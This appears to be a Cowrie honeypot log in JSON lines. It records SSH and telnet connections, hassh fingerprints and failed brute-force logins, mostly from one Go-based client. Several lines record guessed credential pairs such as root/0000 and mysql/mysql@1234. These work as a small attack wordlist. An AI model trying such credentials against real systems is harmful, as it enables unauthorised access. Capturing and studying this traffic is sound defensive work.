{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:02.421057Z","src_ip":"95.38.165.118","session":"7e68ae070558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:02.977903Z","src_ip":"95.38.165.118","session":"7e68ae070558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michael","password":"michael1234","message":"login attempt [michael/michael1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:03.364996Z","src_ip":"43.245.97.82","session":"5a086a333b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:04.612779Z","src_ip":"43.245.97.82","session":"5a086a333b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:04.635825Z","src_ip":"95.38.165.118","session":"7e68ae070558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47116,"dst_ip":"10.17.0.5","dst_port":22,"session":"101c354dab6d","protocol":"ssh","message":"New connection: 95.38.165.118:47116 (10.17.0.5:22) [session: 101c354dab6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:06.926524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:06.932475Z","src_ip":"95.38.165.118","session":"101c354dab6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:07.110857Z","src_ip":"95.38.165.118","session":"101c354dab6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:08.884414Z","src_ip":"95.38.165.118","session":"101c354dab6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:10.049820Z","src_ip":"95.38.165.118","session":"101c354dab6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47130,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2530bb54a2","protocol":"ssh","message":"New connection: 95.38.165.118:47130 (10.17.0.5:22) [session: 7f2530bb54a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:12.184985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:12.225938Z","src_ip":"95.38.165.118","session":"7f2530bb54a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:13.227280Z","src_ip":"95.38.165.118","session":"7f2530bb54a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:15.614513Z","src_ip":"95.38.165.118","session":"7f2530bb54a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:17.613569Z","src_ip":"95.38.165.118","session":"7f2530bb54a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd2ca1f451f","protocol":"ssh","message":"New connection: 95.38.165.118:43544 (10.17.0.5:22) [session: 7fd2ca1f451f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:18.160069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:18.192074Z","src_ip":"95.38.165.118","session":"7fd2ca1f451f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:19.031783Z","src_ip":"95.38.165.118","session":"7fd2ca1f451f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33114,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a1c8e3c6e1","protocol":"telnet","message":"New connection: 69.4.83.194:33114 (159.203.135.109:23) [session: f9a1c8e3c6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:19.492346Z"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:21.211562Z","src_ip":"95.38.165.118","session":"7fd2ca1f451f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c8da25c20a","protocol":"ssh","message":"New connection: 95.38.165.118:43552 (10.17.0.5:22) [session: 05c8da25c20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:23.473880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:23.481995Z","src_ip":"95.38.165.118","session":"05c8da25c20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:24.217318Z","src_ip":"95.38.165.118","session":"7fd2ca1f451f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:24.805292Z","src_ip":"95.38.165.118","session":"05c8da25c20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.18499994277954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:25.004724Z","src_ip":"69.4.83.194","session":"d561af329051","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:25.313610Z","src_ip":"95.38.165.118","session":"05c8da25c20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:26.514827Z","src_ip":"95.38.165.118","session":"05c8da25c20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50300,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6e59a399e6","protocol":"ssh","message":"New connection: 95.38.165.118:50300 (10.17.0.5:22) [session: ae6e59a399e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:29.028625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:29.033391Z","src_ip":"95.38.165.118","session":"ae6e59a399e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:29.198330Z","src_ip":"95.38.165.118","session":"ae6e59a399e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:30.633283Z","src_ip":"95.38.165.118","session":"ae6e59a399e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:32.616922Z","src_ip":"95.38.165.118","session":"ae6e59a399e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee93ed5c3db0","protocol":"ssh","message":"New connection: 95.38.165.118:50318 (10.17.0.5:22) [session: ee93ed5c3db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:34.745383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:35.062074Z","src_ip":"95.38.165.118","session":"ee93ed5c3db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:35.066764Z","src_ip":"95.38.165.118","session":"ee93ed5c3db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9271fb23be1","protocol":"ssh","message":"New connection: 95.38.165.118:57986 (10.17.0.5:22) [session: a9271fb23be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:40.566892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:40.570999Z","src_ip":"95.38.165.118","session":"a9271fb23be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:40.740025Z","src_ip":"95.38.165.118","session":"a9271fb23be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":53070,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15837f4dee9","protocol":"telnet","message":"New connection: 178.128.93.180:53070 (10.17.0.5:23) [session: b15837f4dee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:40.955812Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:41.263882Z","src_ip":"95.38.165.118","session":"a9271fb23be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:42.431009Z","src_ip":"95.38.165.118","session":"a9271fb23be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43130,"dst_ip":"159.203.135.109","dst_port":23,"session":"059c0b6da25c","protocol":"telnet","message":"New connection: 69.4.83.194:43130 (159.203.135.109:23) [session: 059c0b6da25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:45.637186Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35020,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5beabf1754","protocol":"ssh","message":"New connection: 95.38.165.118:35020 (10.17.0.5:22) [session: de5beabf1754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:46.066082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:46.070538Z","src_ip":"95.38.165.118","session":"de5beabf1754","protocol":"ssh"}
